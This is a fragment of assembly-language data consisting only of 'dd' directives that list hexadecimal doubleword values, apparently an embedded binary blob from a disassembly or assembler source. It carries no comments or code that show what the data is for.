dd 58BED000h, 210F37Eh, 69E0BF80h, 8DD4468Ah, 0A074020Eh
dd 50137D09h, 0B01E005Ch, 114B9487h, 0E43AE021h, 0C010003Ah
dd 0B4292E0Eh, 0DBC307E5h, 0B0481732h, 0BB46B33Ch, 6B00E2F0h
dd 5AA2F9BFh, 49655Fh, 479430Bh, 4CCA7831h, 2000E698h
dd 76324D58h, 0EE476113h, 957C002Eh, 0D8363930h, 1B776ACDh
dd 0B60017B8h, 4A53E8Eh, 584D5Ah, 5E2D48Fh, 93D30A29h
dd 0BF00CB7Ah, 0C1901512h, 7850B346h, 9443072Ch, 117ABC49h
dd 0C0F78498h, 3000540h, 8788021h, 0E8F0110h, 0EAA90750h
dd 0FE09BBC1h, 0E9D260CAh, 0B1793113h, 2078E700h, 3E429C7Ah
dd 8880C6C1h, 0C0219829h, 832E084Eh, 2D00F9FAh, 2E10BD87h
dd 40B73F95h, 96DFA6h, 5B0799F3h, 6DEE9118h, 3AEA29F4h
dd 454CB190h, 0CC51007Bh, 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h
dd 875C1175h, 88649002h, 0E353798Ch, 42123C7Eh, 31BCECBCh
dd 0C3431C8Fh, 4C442000h, 84790F3Ch, 18937C0Eh, 804D4F22h
dd 896F5C91h, 0B440016Dh, 290E5228h, 7972E820h, 22351803h
dd 0B985ADF4h, 8AE04B2Dh, 302C0ED4h, 0DC60A9D3h, 32FC3143h
dd 33F98700h, 0F124E50Bh, 0F57C03CBh, 0A7133026h, 0C13B7B98h
dd 32A9201Eh, 3342F680h, 3955E8h, 6F1D6B6Eh, 71205B77h
dd 0F43AA702h, 0C075304Ah, 76968CBh, 587F8470h, 0C3E4435Ch
dd 6007E8C3h, 0EC100146h, 6404B290h, 0F0F251h, 725411D8h
dd 736E6103h, 74656D00h, 437C19B6h, 775727Bh, 0DC34916Fh
dd 54CC429Dh, 8AABD540h, 320B9501h, 5C19580Ch, 0F8EB60D1h
dd 984662A5h, 0C627018Eh, 86774B85h, 2370E80Eh, 72116F01h
dd 75C47488h, 0F2C7E0h, 3641378h, 45287C14h, 780521Fh
dd 0DC008496h, 0E8C0C68Fh, 570400ABh, 32517353h, 76765652h
dd 0FAB32F04h, 218068DBh, 1624884h, 17A915Dh, 0EC18203Ah
dd 0FC1C89A2h, 3C5FA468h, 559F8CC0h, 4D0390h, 0C87D8194h
dd 716E6547h, 1B6F7500h, 1E69EF12h, 90493B9Eh, 0AF942785h
dd 70FE808Dh, 331F8471h, 41C069EBh, 0D6874F9h, 94101C38h
dd 0A3634724h, 30451ABh, 9152E4EBh, 3C755803h, 90784989h
dd 772D5C0Fh, 8E8F0733h, 102A6461h, 0EB024124h, 8248110Eh
dd 0F8832080h, 9565095h, 0B657E90Eh, 0A524807Dh, 0D0FDC2h
dd 9CBD2A2Fh, 8C463F4Fh, 1A029100h, 0B0ACB878h, 0F2957622h
dd 0E85D0088h, 0DD27771Fh, 0C1007B69h, 873DF441h, 50D3622h
dd 3E25C889h, 4B8C042h, 0F03F6373h, 80C3BB84h, 0E0833074h
dd 88480Fh, 0D9E5D553h, 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch
dd 0A41FB022h, 2F3077Fh, 30B62A12h, 1A93867h, 59510A0Fh
dd 658FA0B8h, 1C1745FEh, 7F06BD80h, 5FC1759Eh, 40A21D66h
dd 5121DD84h, 43008D8Ah, 2B52A19h, 0CB7516h, 69307659h
dd 80E06704h, 0E9E46D00h, 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah
dd 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah, 557097D5h, 0E53E901Dh
dd 8F079C5Dh, 5480A808h, 282993h, 915BA5A7h, 45A9664Ah
dd 5D00067Ah, 0AA4085A6h, 4B829AEh, 2B641F03h, 0B6AB8072h
dd 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h, 83CA81C6h, 8705E0CEh
dd 18ED009Ah, 4C331E45h, 48000666h, 10EBC1F6h, 18F44E0Fh
dd 0AECF25AAh, 4301B738h, 1E3F7EA1h, 0E1D08A11h, 30AEE96h
dd 5A607CB1h, 45A8C5EAh, 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h
dd 16ABA8D2h, 35EEC80h, 5B7A592Ah, 19CD58A8h, 8C55D800h
dd 0E89F51B9h, 0B7280016h, 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh
dd 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h, 44008874h
dd 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h, 0EBB0404Bh
dd 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h, 0B4114E6Ch
dd 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh, 0C000BEA0h
dd 7D258D13h, 73B30A2h, 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h
dd 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh, 87002C45h
dd 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h, 78921207h
dd 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h, 285C0CFCh
dd 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h, 0BA2DC935h
dd 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h, 8771D7D4h
dd 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h, 0D3FB1F55h
dd 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h, 2AE15B18h
dd 0A4EFB0h, 98CE92BFh, 7E591277h, 0B409C401h, 25A656A3h
dd 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h
dd 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah
dd 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h, 0FA96DE5h
dd 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h
dd 391048BCh, 0CC00059h, 0C4908529h, 156719C8h, 54F02006h
dd 722CCh, 3209D081h
dd 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h
dd 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h, 0D27E9564h
dd 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh
dd 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h, 5C1A0102h
dd 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h
dd 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h
dd 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h
dd 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h, 80FD0001h
dd 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h, 40C683D1h
dd 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh, 580203F5h
dd 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah
dd 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h, 8833022Bh
dd 75080042h, 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h
dd 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h, 1D2A38D2h
dd 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h
dd 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh
dd 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h, 0DDEBBD51h
dd 703AC70h, 44BCCCF7h, 78E6304Bh, 11007F6Fh, 64DFCEE9h
dd 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh
dd 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h
dd 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h, 3400AA11h
dd 6A9488F3h, 0ABCF4Fh, 54801B6Ch, 7765AD7Bh, 31C56800h
dd 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh
dd 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h, 1975809Ah
dd 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h, 5F0B0879h
dd 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah, 2224CA1Dh
dd 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h, 6918A4E4h
dd 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh, 6D6F431Ch
dd 34876500h, 712C0A73h, 880B39ECh, 0C170C400h, 0D34E7909h
dd 8064523Fh, 2BD01884h, 0BA40F22h, 28447291h, 4C9D7B80h
dd 0D30E3770h, 0E0D8A5BBh, 25876C33h, 927900DEh, 12633018h
dd 0C848D48Bh, 0ACBC00F4h, 178DB6C4h, 0E031FAC2h, 0ECB2002Fh
dd 69540BCAh, 0EA0F4556h, 24985980h, 0A2800C89h, 0B87212h
dd 56AD536Ch, 30C88ADCh, 0E445400h, 6765354Ch, 0E109005Ah
dd 0C95BC370h, 4B017468h, 0E0F82930h, 27D8ABF2h, 87640018h
dd 6BC58E6Dh, 0C8F72873h, 0B200D142h, 0B14F2610h, 9055E5h
dd 947AC427h, 814475Ah, 0D6D18001h, 0EA25F46h, 6016CCh
dd 295CC595h, 2EB06488h, 90E34B16h, 0DCC47F00h, 7C44D148h
dd 0ABF07EDh, 40B36965h, 12B47542h, 806C643Fh, 30D2520Ch
dd 72EB8F6h, 14257669h, 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh
dd 0D7F8D4C6h, 31A1866h, 88104619h, 0C8064301h, 1890141Bh
dd 2E9104E0h, 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h
dd 13AB9C4Ah, 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h
dd 53588011h, 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh
dd 0F80BF0BFh, 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch
dd 0EDBBC044h, 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h
dd 0AE3D4FFBh, 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h
dd 0F188A18Bh, 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah
dd 504108D1h, 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh
dd 5E575684h, 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh
dd 0BF2B0Fh, 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h
dd 38EA1CD1h, 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h
dd 470EC322h, 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h
dd 298BB6B8h, 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh
dd 0A5D4459Fh, 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h
dd 8043DE0Eh, 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh
dd 0F03B7D8Eh, 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch
dd 0DEC8D5A6h, 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h
dd 686C6Ah, 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h
dd 0C26A00F0h, 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h
dd 0CE090C9Ch, 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h
dd 1184872h, 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h
dd 2E1977D0h, 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh
dd 0FFB09281h, 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h
dd 2E10033h, 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h
dd 0DCA13C00h, 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h
dd 5302BB05h, 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h
dd 7A28AFEh, 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h
dd 13C144Dh, 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h
dd 0B95E882Fh, 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h
dd 0C7F2F449h, 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h
dd 0E698FEh, 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh
dd 0E0FCADF5h, 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh
dd 0E681C280h, 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h
dd 47174A00h, 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh
dd 81A09E4Ah, 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h
dd 0B6D5E054h, 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h
dd 0BE0092ADh, 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h
dd 4D75E207h, 40903E9Ch, 6132CBh, 6F881931h, 0E655697h
dd 6AE91F05h, 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h
dd 0AF0A5406h, 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah
dd 5F3B5D62h, 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h
dd 4E7FDED9h, 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h
dd 92F53942h, 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah
dd 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh
dd 0AA2BBB25h, 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh
dd 6E0FD4C7h, 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h
dd 2C683603h, 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh
dd 33CAE055h, 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh
dd 230722D8h, 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h
dd 9BCCA251h, 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h
dd 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh
dd 1E42B036h, 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h
dd 1FF49C8Bh, 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h
dd 12E74398h, 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh
dd 7BFD5C4h, 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh
dd 3B691C65h, 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h
dd 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h
dd 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h
dd 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h
dd 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h, 0EE58E276h
dd 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h, 0DA9057A2h
dd 8504DC36h
dd 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h
dd 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h
dd 3D83438Ch, 0C9FEA2h, 0ECC28EF4h, 0DBF12124h, 3A14538h
dd 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h
dd 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh
dd 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h
dd 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h
dd 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh
dd 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h
dd 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h
dd 478E003Ch, 91342338h, 2C00C830h, 247228E4h, 0E21C2039h
dd 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h
dd 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h
dd 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh
dd 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h
dd 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h
dd 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch
dd 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h
dd 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh
dd 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h, 182B376Ch
dd 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h, 7998B900h
dd 28FF6B26h, 0BC2CA6h, 0C7031E14h, 0A406D950h, 7E0CBF1Dh
dd 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h, 0E4888032h
dd 8900141Fh, 2E051043h, 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h
dd 0C6097D60h, 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh
dd 0F61DC6FBh, 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh
dd 96700AD8h, 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh
dd 0A897E8ECh, 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h
dd 0C8ACF047h, 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh
dd 0FEEC71Dh, 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h
dd 7554D7B1h, 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h
dd 0B204D085h, 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h
dd 1EF2E074h, 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h
dd 0E2B7428Eh, 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h
dd 0EE8AC8E0h, 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h
dd 0C3A00A2Fh, 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h
dd 3C995C31h, 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh
dd 0B963398Dh, 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h
dd 973477E5h, 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h
dd 59396491h, 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h
dd 46BA44Dh, 88E422h, 0A8903419h, 80282429h, 0E0103D02h
dd 0C0135074h, 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh
dd 0C139E034h, 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh
dd 64882238h, 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h
dd 3F2C8F16h, 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch
dd 742DFC78h, 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h
dd 0E16A88C6h, 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h
dd 2EE19608h, 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h
dd 0F000ADE9h, 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h
dd 0E810C004h, 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h
dd 8ECE3EFAh, 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h
dd 4F0B2A51h, 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h
dd 3C7A9882h, 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h
dd 64FDBBBAh, 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah
dd 0A35B9800h, 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h
dd 45004840h, 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h
dd 0B498C4A0h, 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h
dd 0FC00A23Ch, 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h
dd 4967C807h, 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh
dd 62002C03h, 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h
dd 3CF8F970h, 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h
dd 0E233545Bh, 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h
dd 0F17F7B32h, 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh
dd 5246204Ch, 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h
dd 14008E4h, 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h
dd 0D85D8900h, 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh
dd 0D7D1E500h, 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh
dd 0AB00E5B4h, 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h
dd 0F622CAF0h, 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h
dd 25B0C1ECh, 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh
dd 3B42406Eh, 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h
dd 4612F880h, 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h
dd 7F977553h, 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h
dd 32B3C9E5h, 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh
dd 1F0072D6h, 493DC024h, 2D4F53h, 7535E238h, 4C315639h
dd 0E21293Dh, 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h
dd 62382C8Ah, 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh
dd 8525E6C8h, 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh
dd 0D32300B4h, 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h
dd 4CE7A3B8h, 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h
dd 3A413CE7h, 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h
dd 3839A042h, 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h
dd 30C16590h, 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h
dd 0F42B2C05h, 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h
dd 0A560073h, 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h
dd 0EC37Ch, 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch
dd 1E0E405Eh, 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah
dd 743E7F6h, 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah
dd 5817DAF9h, 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h
dd 8D704C52h, 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h
dd 75488555h, 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h
dd 2E90B63h, 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h
dd 0DF034C5Ah, 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h
dd 0B8BE81DFh, 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h
dd 1DC095ECh, 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh
dd 0C449C60Eh, 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh
dd 592D3Bh, 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h
dd 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh
dd 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h
dd 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h
dd 26D858Ah, 25ECB5BBh, 18E01844h, 6E00EB2Ch, 0A7D04936h
dd 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h
dd 76481730h
dd 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h
dd 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h, 0E73ECh
dd 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h
dd 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h, 78E9AF74h
dd 55A7011Dh, 598AC47h, 5C06607Dh, 4B00DAF2h, 2C3E20CEh
dd 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h
dd 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h
dd 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh
dd 8F100E8Ah, 500A5ECh, 3101B9EDh, 3EA263D5h, 0D803C6Dh
dd 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h
dd 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h
dd 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h
dd 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h, 0ECE4AF02h
dd 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h
dd 5122036Eh, 72710066h, 5660A06Dh, 64002567h, 21F8966Ch
dd 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h
dd 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h, 0BA00280Dh
dd 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h
dd 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h
dd 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h
dd 90B48521h, 3F032ECh, 0D51AC435h, 8BD86CB0h, 0AA3C064Bh
dd 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh, 951B3C8h
dd 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h, 42140063h
dd 50628864h, 8E676973h, 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh
dd 0A685EF41h, 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h
dd 434838CFh, 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h
dd 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h
dd 4E62B8Eh, 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h
dd 0D427012Fh, 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h
dd 1AEC57Ch, 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h
dd 0A09C4Ch, 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh
dd 3FC50060h, 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h
dd 9102022Eh, 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h
dd 8F010h, 8C022249h, 53140446h, 38838001h, 2F26D49Eh
dd 206A30h, 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h
dd 0F8D1EAD3h, 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h
dd 424611ACh, 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah
dd 82E8950Fh, 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh
dd 0B416E421h, 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h
dd 84DE3388h, 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h
dd 1B22F34Bh, 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh
dd 3014C210h, 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h
dd 18E7AE05h, 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h
dd 1CA4D822h, 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah
dd 0C9A2437h, 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh
dd 0AC903C29h, 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h
dd 7C87A684h, 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h
dd 0B6D9500h, 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh
dd 8D711718h, 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h
dd 8370147h, 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h
dd 0D70669FCh, 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh
dd 39717064h, 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h
